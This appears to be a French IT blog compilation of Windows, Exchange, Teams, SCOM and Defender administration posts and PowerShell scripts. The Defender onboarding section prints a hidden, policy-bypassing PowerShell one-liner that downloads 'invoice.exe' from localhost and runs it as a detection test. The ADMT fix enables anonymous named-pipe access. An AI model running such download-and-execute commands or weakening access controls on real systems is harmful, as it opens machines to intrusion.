PI Services

Débutons par un bref rappel sémantique : dans SCOM, le terme workflow désigne l’ensemble des éléments qui constituent un moniteur, une règle, une découverte ou une tache. Un workflow peut donc être constitué d’une data source, d’une ou plusieurs probes, de condition detections, de writeactions…

La grande majorité des Management Packs contient des workflows consistant en un assemblage de modules préexistants, par exemple :

• Une datasource basée sur le module “scheduler” pour déclencher le workflow à intervalle régulier
• Une probe basée sur le module “powershell script” pour exécuter un script. C’est ce dernier qui ira effectuer des tests et en renverra le résultat dans le workflow
• Une ou plusieurs condion detections basées sur le module “Filter”, afin de détecter si le résultat du script indique un problème ou non
• Une writeaction pour déclencher l’alerte si le filtre indique un problème.

Ces modules préexistants sont la vraie fondation de tout workflow SCOM, et leur code est en général du C# contenu dans une dll : c’est ce que l’on appelle des Modules Natifs (“native modules”).

Certains Management Packs poussent ce principe encore plus loin, en intégrant des modules créés de toutes pièces et dédiés à leur utilisation au lieu d’intégrer les modules natifs dans leurs workflows : on les appelle des modules managés (managed modules).

Les raisons de ce choix sont le plus souvent :

• L’ajout de fonctionnalités irréalisables autrement
• La réutilisation de code compilé préexistant
• L’optimisation des performances des workflows : en effet, un workflow powershell tel que décrit ci-dessus permet de découvrir l’immense majorité des cas rencontrés. Cependant, il nécessite une exécution du script complète à chaque fois : chargement de powershell, chargement des modules powershell, authentification sur l’application à interroger, collecte des données puis déconnexion, déchargement de powershell etc. Un managed module reste lui en mémoire indéfiniment et peut ainsi ne boucler que sur la partie “collecte des données”, ce qui allège grandement le traitement.

Malheureusement cette technique impacte aussi fortement la lisibilité du code et la possibilité de le débugger par n’importe qui, puisque tout ou partie du workflow est maintenant “caché” dans une dll.

Prenons un exemple concret : les dernières versions du Management Pack pour SQL Server intègrent des managed modules, et il arrive parfois que l’alerte suivante se déclenche : MSSQL on Windows: Database is in offline/recovery pending/suspect/emergency state.

Pourtant, le détail de l’alerte n’est pas toujours probant puisqu’il peut n’indiquer que les informations suivantes :

• MonitoringStatus : Bad
• DatabaseState : ONLINE
• IsAccessible : false
• IsMirroringMirror : false
• IsAlwaysOnReplica : true
• ErrorCode : 0
• ErrorDescription : <vide>

Très insuffisant pour comprendre d’où vient le problème… Dans ce genre de cas, il est donc nécessaire d’aller voir comment fonctionne le moniteur d’où provient l’alerte pour tenter de comprendre son passage en échec. En remontant le fil du workflow, on constate que les tests à proprement parler sont réalisés dans une Probe nommée MSSQL on Windows: Database Status Probe Action, dont il n’est pas possible de voir le fonctionnement directement dans le code du Management Pack puisqu’elle repose sur un Managed Module :

Nous avons cependant deux informations utiles :

• Assembly : c’est le nom de la dll qui contient le code compilé du module
• Type : c’est le nom de la fonction qui produit les données utilisées par le moniteur.

La dll peut être récupérée sur n’importe quel serveur SQL disposant d’un agent SCOM dans le dossier Health Service State, ou en l’extrayant du fichier .mpb du management pack avec l’outil MPBUtil de Silect.

Elle peut ensuite être ouverte à l’aide de l’outil gratuit JetBrains dotPeek.

Une fois ouverte, on retrouve la fonction DBStatusMonitoring en suivant l’arborescence :

Un clic-droit > go to implementation permet de retrouver le code exécuté par cette fonction à proprement parler et, en particulier, une zone que l’on interprète facilement comme étant l’exécution d’une requête SQL résultant en plusieurs champs qui correspondent complètement aux détails de notre alerte d’origine :

Cependant, la requête SQL a proprement parler n’est pas visible ici. Elle est en réalité contenue dans une “Ressource”  (un champ texte annexe de la dll) nommée GetDBStatuses :

Retournons donc dans l’explorateur de la dll pour ouvrir les ressources, dans laquelle nous allons rechercher GetDBStatuses. Et voilà notre requête SQL :

Vous pouvez désormais copier cette requête et l’analyser et l’exécuter manuellement pour comprendre d’où provient l’alerte!

D’autres modules managés auront un fonctionnement différent, mais le principe d’analyse restera identique… A vous de jouer!

Durant une migration ordinateur avec l'outil ADMT d'un domaine source vers un domaine cible, il est possible de rencontrer l’erreur ci-dessous :

ERR3:7075 Failed to change domain affiliation, hr=80070005 Access is denied

Cette erreur sera enregistrée dans le fichier log de migration ADMT sous c:\windows\admt\logs.

Lors de la migration des objets ordinateurs avec ADMT, l'outil demande de choisir les contrôleurs de domaine source et cible à utiliser. Le choix du DC cible est très important !

Il ne faut pas choisir n'importe quel DC cible, il faut plutôt utiliser le nom du DC où la configuration ci-dessous a été faite.

Resolution de l'erreur:

Cette erreur peut être résolue par deux méthodes :

1. Activer la stratégie de groupe (GPO) suivante sur tous les contrôleurs de domaine cible (Default domain policy) :

“Computer Settings\Windows Settings\Security Settings\Local Policies\Security Options\NetWork Access: Named Pipes that can be accessed anonymously” avec au moins les services “netlogon,lsarpc” inclus.

2. Choisir un des contrôleurs de domaine cible (qui sera utilisé lors de la migration ordinateur) et créer la clé de registre suivante : "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionPipes" avec les valeurs "netlogon,lsarpc"

Source : https://santhoshsivarajan.wordpress.com/2010/10/30/admt-err37075-failed-to-change-domain-affiliation-access-is-denied/

Explication de l’erreur:

ADMT agents sync the computer with the target domain using anonymous connections to the LSARPC and NETLOGON named pipes on the target domain's DC.

Source : https://social.technet.microsoft.com/Forums/ie/en-US/304f25a2-cb85-4570-b616-669a5a874ba0/admt-computer-migration-failures?forum=winserverMigration

Remarque :

Le fait d'installer l'outil ADMT PES (Paswword Export Server) sur un contrôleur de domaine, la clé de registre ci-dessus sera créée automatiquement.

Description du problème
Après avoir remplacé un certificat wildcard par un certificat SAN, les clients distants utilisant Microsoft Outlook ne peuvent plus se connecter à leurs comptes de messagerie sur un serveur Exchange à l'aide de la méthode de proxy HTTP. Outlook affiche le message d'erreur dessous, puis demande à plusieurs reprises un mot de passe:

Explication et Résolution

Microsoft Outlook 2016 utilise exclusivement la découverte automatique pour configurer les comptes Exchange. Il faut donc s’assurer que l’autodiscover utilise le nom principal correct du certificat :

• Se connecter au serveur Exchange et démarrer Exchange Management Shell puis exécuter la commande Get-OutlookProvider -Identity EXPR | fl
• Vérifier les valeurs:
  CertPrincipalName - doit avoir le nom principal commun et correct du certificat SSL au format: msstd:mail.domain.com
  Server - doit être vide

--> si la valeur du paramètre CertPrincipalName est incorrecte, la commande suivante sera exécutée pour la modifier:
Set-OutlookProvider EXPR -CertPrincipalName msstd: mail.domain.com
 Vérifier le résultat via l’exécution de la commande : Get-OutlookProvider -Identity EXPR | fl CertPrincipalName

--> si la valeur du champ le serveur n'est pas vide, exécuter la commande suivante pour l'effacer: Set-OutlookProvider -id EXPR  $null

Vérifier le résultat via l’exécution de la commande : Get-OutlookProvider -Identity EXPR | fl server

"Peut-on savoir si des externes ont accès aux sites Teams ? Et si oui lesquels ?" est une question qui revient souvent quand on parle droits d'accès et O365.

Pour le savoir rien de plus simple, Powershell et de la patience.

#Connect-MicrosoftTeams
Connect-MicrosoftTeams

# Define Variables
$ArrayTeamsMembers = @()
$AllTeams = Get-Team

$AllTeams | foreach {
    $GroupId = $_.GroupId
    $DisplayName = $_.DisplayName
    $Visibility = $_.Visibility
    $Archived = $_.Archived
    $MailNickName = $_.MailNickName
    $Description = $_.Description

    # Search External members
    $Members = Get-TeamUser -GroupId $GroupId 
    $External = $Members.where({$_.Role -eq "Guest"})

    If ($External.count -ne 0) {
        Write-Host "External User(s) are present in $DisplayName" -ForegroundColor Green
        $External.count
        $External | foreach {
            $UserId = $_.UserId
            $User = $_.User

            $ArrayTeamsMembers += New-Object psobject -Property @{
                GroupId = $GroupId
                DisplayName = $DisplayName
                Visibility = $Visibility
                Archived = $Archived
                MailNickName = $MailNickName
                Description = $Description
                UserId = $UserId
                User = $User
                }
            $UserId = $null
            $User = $null
            }
        }

    $GroupId = $null
    $DisplayName = $null
    $Visibility = $null
    $Archived = $null
    $MailNickName = $null
    $Description = $null
    $Members = $null
    $External = $null
    }

$ArrayTeamsMembers | Export-Csv c:\temp\ExternalTeamsMembers.csv -Encoding UTF8 -Delimiter ";" -NoTypeInformation

Avez vous déjà essayé d'exporter les numéros de Téléphone Teams depuis le portail d'administration ? Je vous en prie faites l'essai... Frustrant non ?

Voici comment exporter les numéros Teams dans un fichier CSV via Powershell

# Variables Definition
$Array = @()
$Csv = "C:\temp\TeamsNumbers.csv"

# Skype Online Connection
Import-Module SkypeOnlineConnector
$sessionCS = New-CsOnlineSession -OverrideAdminDomain assystem.com
Import-PSSession $sessionCS

# Azure AD Connection
Connect-AzureAD

# Collect All Voice User
$AllVoiceUsers = Get-CsOnlineVoiceUser

# Collect Data and store them in array
$AllVoiceUsers | foreach {
    $Name = $_.Name
    $Id = $_.Id
    $SipDomain = $_.SipDomain
    $Number = $_.Number
    $LicenseState = $_.LicenseState
    $UsageLocation = $_.UsageLocation
    $EnterpriseVoiceEnabled = $_.EnterpriseVoiceEnabled

    $CurrentUser = Get-AzureADUser -ObjectId $Id
    $Mail = $CurrentUser.Mail
    $Upn = $CurrentUser.UserPrincipalName

    $Array += New-Object psobject -Property @{
        Name = $Name
        Id = $Id
        SipDomain = $SipDomain
        Number = $Number
        LicenseState = $LicenseState
        UsageLocation = $UsageLocation
        EnterpriseVoiceEnabled = $EnterpriseVoiceEnabled
        Mail = $Mail
        Upn = $Upn     
        }
    $Name = $null
    $Id = $null
    $SipDomain = $null
    $Number = $null
    $LicenseState = $null
    $UsageLocation = $null
    $EnterpriseVoiceEnabled = $null
$CurrentUser = $null
    $Mail = $null
    $Upn = $null
    }

# Export Data
$Array | Export-Csv $Csv -Delimiter ";" -Encoding UTF8 -NoTypeInformation

Dans Windows Server 2016, les mises à jour de Windows sont partiellement contrôlées par un nouveau service d'orchestrateur de mise à jour ainsi que par le service de mise à jour de Windows. Le service orchestrateur utilise une série de tâches planifiées pour vérifier les nouvelles mises à jour installées et planifie un redémarrage à tout moment en dehors des "heures actives" de 12 heures si le service détecte qu'une mise à jour a été installée.

Les modèles de stratégie ADMX pour la stratégie de groupe Windows Server 2016 ne semblent pas avoir de contrôle sur les redémarrages des mises à jour pour le moment.

Cependant, il y a une solution de contournement manuelle pour arrêter le redémarrage automatique via l'orchestrateur, tout en autorisant l'installation des mises à jour jusqu'à ce que Microsoft publie des contrôles avec plus de granularité.

Pour désactiver le redémarrage automatique des mises à jour:

1. Ouvrir le planificateur de tâches puis naviguer dans la bibliothèque de tâches Microsoft --> Windows --> UpdateOrchestrator,
2. Désactiver la tâche "Reboot" en cliquant droit sur la tâche de redémarrage comme ci-dessous et en sélectionnant Désactiver dans le menu contextuel.
3. Une fois que la tâche "Reboot" ait le statut Désactivé, fermer le planificateur de tâches.

4. Accéder au dossier C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator et cliquer droit sur le fichier de redémarrage puis sélectionner Propriétés. Dans la fenêtre Propriétés de redémarrage, sélectionner l'onglet Sécurité puis Modifier

5. Pour tous les types d'accès, définir la sécurité des fichiers sur Refuser sur SYSTEME, SERVICE LOCAL , SERVICE RESEAU en sélectionnant chacun des utilisateurs mentionnés à tour de rôle et en cochant la case Refuser pour Contrôle total comme ci-dessous (cela empêche Windows de réactiver la tâche de Reboot)

L’objectif est identique à l’intégration via un script local, traité dans un récent article mais dans cet exemple l’ intégration s’effectue en:

- Ajoutant sur la machine cible le compte de l’utilisateur de la machine tel qu’il apparait dans Endpoint Manager

- S’assurant de la configuration du connecteur entre Endpoint Manager et Defender ATP (action à effectuer une seule fois)

Créant un profil de configuration dans Endpoint Manager pour permettre à la machine de s’enregistrer sur Defender ATP.

1. Ajout du compte du user pour inscription dans Windows Intune et découverte du device:

sur le client Windows 10,ouvrir « Access Work or School »

Connect

Renseigner le compte du user O365 et cliquer Next

Renseigner le password du user.

2. Option Intune activée dans Defender Security Center

Dans la console Defender Security Center aller dans Setting /Advanced Features

S’assurer que l’option Microsoft Intune connection est bien On

3. Types d’OS autorisés

Dans la console Endpoint Manager aller sur Endpoint Security / Microsoft Defender ATP

Dans la zone MDM Compliance Policy Settings’, s’assurer que les types d’OS devant etre connecté sont bien autorisés.

4. Creation d’une Configuration Policy dans Endpoint Manager

- Dans la console Endpoint Manager aller sur Devices / By Platform : Windows / Configuration profiles

NB : L’objectif est de créer une/des ‘Configuration Policy’ qui vont permettre aux devices de s’enregistrer.

Des configuration Policies similaires peuvent etre crées pour les autres type de device (Devices / By Platform)

Cliquer Create Profile

Selectionner Windows 10 and later.

Selectionner ‘Microsoft Defender ATP (Windows 10 Desktop)’ puis Create.

Nommer la Policy avec un nom explicite

Cliquer Next

Laisser ces options Not Configured

Dans cette zone il s’agit de sélectionner le scope des devices/users a qui va s’appliquer la policy.

Si un/des groupes crées dans Endpoint Manager auparavant, doivent être sélectionnés, cliquer Select groups groups to include.

Sélectionner d’éventuels groupes à exclure.

Cliquer Next

Selectionner la règle d’application (NB : les règles d’application sont differentes selon les types de devices et profile)

Dans cet exemple on applique le profile SI l’édition de Windows 10 est ‘Windows 10 Professional’

Cliquer Next.

Résumé de la création.

Cliquer Create.

A l’issu de la création un dashboard affiche le statut de l’assignation du profile.

Pour le moment le dashboard affiche 0. Le deploiement est en cours.

NB : Penser à vérifier que le groupe crée au préalable contiens bien des objets auxquels le profil doit être appliqué.

Il est également possible de cliquer sur Properties ( ) pour afficher les propriétés de la policy crée et notamment le/les scopes. (groupes/users)

Contrairement au dashboard, la zone Monitor affiche immédiatement le contenu (ici la machine de test qui est membre du groupe que l’on a associé à la policy (groupe de test ‘MDATP Test’) :

Et l’on peut voir que le champ Deployment Status affiche ‘Pending’ :

Des que la policy est deployée, on retrouvera la machine cible dans les devices “with ATP Sensor”

Et surtout, dans la console Defender Security Center.

Tous les rapports de non-remise générés peuvent être transférés vers une boîte aux lettres afin que vous puissiez surveiller les rapports de non-remise internes et externes et éviter d'être mis dans la black liste.

Les notifications d'état ne peuvent être transféré qu'à une boîte aux lettres nommé "Postmaster" et non pas à un groupe de distribution.

• Etape 1

Créer une boîte aux lettres avec l'adresse principale: Postmaster@domainname  avec le nom d'adffichage: Postmaster

• Etape 2

- Par défaut, l’adresse postmaster externe sera vide,

- Exécuter la commande suivante afin de récupérer tous les NDR externes (Courrier envoyé de la part d'une BAL externe vers une BAL interne inexistante):

Set-TransportConfig -ExternalPostmasterAddress postmaster@domainename

• Etape 3

- Exécuter la commande suivante afin de récupérer tous les NDR internes (Courrier envoyé de la part d'une BAL interne vers une BAL interne inexistante)

Set-OrganizationConfig -MicrosoftExchangeRecipientReplyRecipient postmaster@domainname

• Etape 4

Avec la cmdlet Set-TransportConfig, utiliser le paramètre GenerateCopyOfDSNFor afin de contrôler les rapports de non-remise (NDR) qui sont copiés sur une boîte aux lettres en spécifiant les codes DSN à surveiller séparés par des virgules.

Exemple:

Set-TransportConfig -GenerateCopyOfDSNfor 5.1.1,5.7.5

--> Pour supprimer ou ajouter des codes DSN :

 Set-TransportConfig -GenerateCopyOfDSNFor @{Add="5.7.1"; Remove="5.1.1"}

--> Pour seulement ajouter des codes DSN:

Set-TransportConfig -GenerateCopyOfDSNFor @{Add="5.7.1"}

Defender for Endpoint, nouveau nom de Defender ATP, représente les fonctionnalités de sécurité avancé permettant de gérer les Endpoint (PC Client, Smartphone..).

Defender for Endpoint est utilisable soit conjointement avec Endpoint Manager (Intune), soit de manière autonome en inscrivant les devices via l’utilisation d’une GPO, d’un déploiement de package SCCM ou encore l’utilisation d’un script local généré depuis la console dédiée a Defender for Endpoint: Defender Security Center.

L’exemple qui suit est celui de l’enrollment d’un client Windows 10 via l’utilisation du script local.

Depuis la console Endpoint Manager, aller sur «Sécurité du point de terminaison » puis « Installation / Microsoft Defender ATP »

Cliquer sur le lien Ouvrir la console d'administration du connecteur Microsoft Defender ATP pour ouvrir la console Defender Security Center.

Aller sur Settings / Device management / Onboarding

Selectionner Windows 10

Selectionner Local Script

Cliquer Download package

Copier le package sur la machine cible

Decompresser l’archive et executer le fichier WindowsDefenderATPLocalOnboardingScript.cmd avec des droits administrateur.

Y

Press any Key

Le service ‘Windows Defender Advanced Threat Protection Service’ (Sense) passe en mode de démarrage automatique.

L’information ci-dessous est logué dans l’eventlog Application

Dans le registre local, la valeur OnboardingState doit être à 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status

Afin de tester l’enrollment du client executer la commande ci-dessous dans une fenetre de commande éxécutée en tant qu’administrateur.

powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-MDATP-test\\invoice.exe');Start-Process 'C:\\test-MDATP-test\\invoice.exe'

La fenêtre d’invite de commandes se ferme automatiquement. En cas de succès, le test de détection sera marqué comme terminé et une nouvelle alerte apparaitra quelques minutes plus tard dans la console Defender Security Center.

En paralelle le nouveau client apparait dans la zone Device Inventory de la console Defender Security Center.

En cas d’erreur, consultez le Lien : https://docs.microsoft.com/fr-fr/windows/security/threat-protection/microsoft-defender-atp/troubleshoot-onboarding (rubrique Résoudre les problèmes d’intégration lors du déploiement à l’aide d’un script)

Le script ci-dessous prend en paramètre un compte et un nom de Privilège pour l’attribution des ‘User Rights Assignment’ au niveau de la 'Local Policy' d’une machine.

#### SCRIPT: ADD NEW ACCOUNT IN USER RIGHT ASSIGNMENT OF LOCAL SECURITY POLICY

# SCRIPTNAME : LocPolicyAddUserRight.ps1

# PARAMETERS:
# User: Account to grant
# PrivilegeName : See $AccesList to select right name
# ConfFilesPath : Path to export/import Conf File

# EXAMPLE: LocPolicyAddUserRight.ps1 -User MyDomain\MyAccount -PrivilegeName SeTimeZonePrivilege -ConfFilesPath C:\



Param
(
$User,
$PrivilegeName,
$ConfFilesPath
)



#USER RIGHT ASSIGNMENT LIST

[array]$AccessList = $(
"Access Credential Manager as a trusted caller = SeTrustedCredManAccessPrivilege"
"Access this computer from the network = SeNetworkLogonRight"
"Act as part of the operating system;SeTcbPrivilege"
"Add workstations to domain = SeMachineAccountPrivilege"
"Adjust memory quotas for a process = SeIncreaseQuotaPrivilege"
"Allow log on locally = SeInteractiveLogonRight"
"Allow log on through Remote Desktop Services = SeRemoteInteractiveLogonRight"
"Back up files and directories = SeBackupPrivilege"
"Bypass traverse checking = SeChangeNotifyPrivilege"
"Change the system time = SeSystemtimePrivilege"
"Change the time zone = SeTimeZonePrivilege"
"Create a pagefile = SeCreatePagefilePrivilege"
"Create a token object = SeCreateTokenPrivilege"
"Create global objects = SeCreateGlobalPrivilege"
"Create permanent shared objects = SeCreatePermanentPrivilege"
"Create symbolic links = SeCreateSymbolicLinkPrivilege"
"Debug programs = SeDebugPrivilege"
"Deny access to this computer from the network = SeDenyNetworkLogonRight"
"Deny log on as a batch job = SeDenyBatchLogonRight"
"Deny log on as a service = SeDenyServiceLogonRight"
"Deny log on locally = SeDenyInteractiveLogonRight"
"Deny log on through Remote Desktop Services = SeDenyRemoteInteractiveLogonRight"
"Enable computer and user accounts to be trusted for delegation = SeEnableDelegationPrivilege"
"Force shutdown from a remote system = SeRemoteShutdownPrivilege"
"Generate security audits = SeAuditPrivilege"
"Impersonate a client after authentication = SeImpersonatePrivilege"
"Increase a process working set = SeIncreaseWorkingSetPrivilege"
"Increase scheduling priority = SeIncreaseBasePriorityPrivilege"
"Load and unload device drivers = SeLoadDriverPrivilege"
"Lock pages in memory = SeLockMemoryPrivilege"
"Log on as a batch job = SeBatchLogonRight"
"Log on as a service = SeServiceLogonRight"
"Manage auditing and security log = SeSecurityPrivilege"
"Modify an object label = SeRelabelPrivilege"
"Modify firmware environment values = SeSystemEnvironmentPrivilege"
"Perform volume maintenance tasks = SeManageVolumePrivilege"
"Profile single process = SeProfileSingleProcessPrivilege"
"Profile system performance = SeSystemProfilePrivilege"
"Remove computer from docking station = SeUndockPrivilege"
"Replace a process level token = SeAssignPrimaryTokenPrivilege"
"Restore files and directories = SeRestorePrivilege"
"Shut down the system = SeShutdownPrivilege"
"Synchronize directory service data = SeSyncAgentPrivilege"
"Take ownership of files or other objects = SeTakeOwnershipPrivilege"

)



Function GetUserSID($UserName)
{
(New-Object System.Security.Principal.NTAccount($UserName)).Translate([System.Security.Principal.SecurityIdentifier]).value
}




Function Parse-SecPol($CfgFile){ 
    secedit /export /cfg "$CfgFile" | out-null
    $obj = New-Object psobject
    $index = 0
    $contents = Get-Content $CfgFile -raw
    [regex]::Matches($contents,"(?<=\[)(.*)(?=\])") | %{
        $title = $_
        [regex]::Matches($contents,"(?<=\]).*?((?=\[)|(\Z))", [System.Text.RegularExpressions.RegexOptions]::Singleline)[$index] | %{
            $section = new-object psobject
            $_.value -split "\r\n" | ?{$_.length -gt 0} | %{
                $value = [regex]::Match($_,"(?<=\=).*").value
                $name = [regex]::Match($_,".*(?=\=)").value
                $section | add-member -MemberType NoteProperty -Name $name.tostring().trim() -Value $value.tostring().trim() -ErrorAction SilentlyContinue | out-null
            }
            $obj | Add-Member -MemberType NoteProperty -Name $title -Value $section
        }
        $index += 1
    }
    return $obj
}




Function Set-SecPol($Object, $CfgFile){
   $OldSecPool.psobject.Properties.GetEnumerator() | %{
        "[$($_.Name)]"
        $_.Value | %{
            $_.psobject.Properties.GetEnumerator() | %{
                "$($_.Name)=$($_.Value)"
            }
        }
    } | out-file $CfgFile -ErrorAction Stop
    secedit /configure /db c:\windows\security\local.sdb /cfg "$CfgFile" #| out-null
}



# Export Original Conf
$OldSecPool = Parse-SecPol -CfgFile "$ConfFilesPath`Old.inf"

# Get user SID
try
    {
    $newsid = GetUserSID -UserName $User
    }
catch
    {
    $Message = "'$User' user SID has not been found"
    Write-Host -F Red $Message.ToUpper()
    exit 1 
    }


# 
if ($OldSecPool.'Privilege Rights'.$PrivilegeName -eq $null)
    {
    $Message = "'$PrivilegeName' privilege has not been found. Check Name. `n "
    Write-Host -F Red $Message.ToUpper()
    Write-Host "--- ACCESS RIGHTS NAMES ---:`n"
    $AccessList
    exit 1
    }
Else
    {
    # get original value
    $OldValue = $OldSecPool.'Privilege Rights'.$PrivilegeName
    # Add new SID to the string with required additional characters
    $NewValue = $OldValue+",*$newsid"
    # Set New Value
    $OldSecPool.'Privilege Rights'.$PrivilegeName = $NewValue
    }


$result = Set-SecPol -Object $OldValue -CfgFile "$ConfFilesPath`New.inf" 

if ($result[-2] -like "*successfully*")
    {
    $Message = "OK - '$User' has been granted '$PrivilegeName' `n $($result[-2]) `n $($result[-1])"
    write-host -F Green $Message.ToUpper()
    exit 0
    }

Else
    {
    $Message = "Error during grant of rights"
    write-host -F Red $Message.ToUpper()
    $result
    exit 1
    }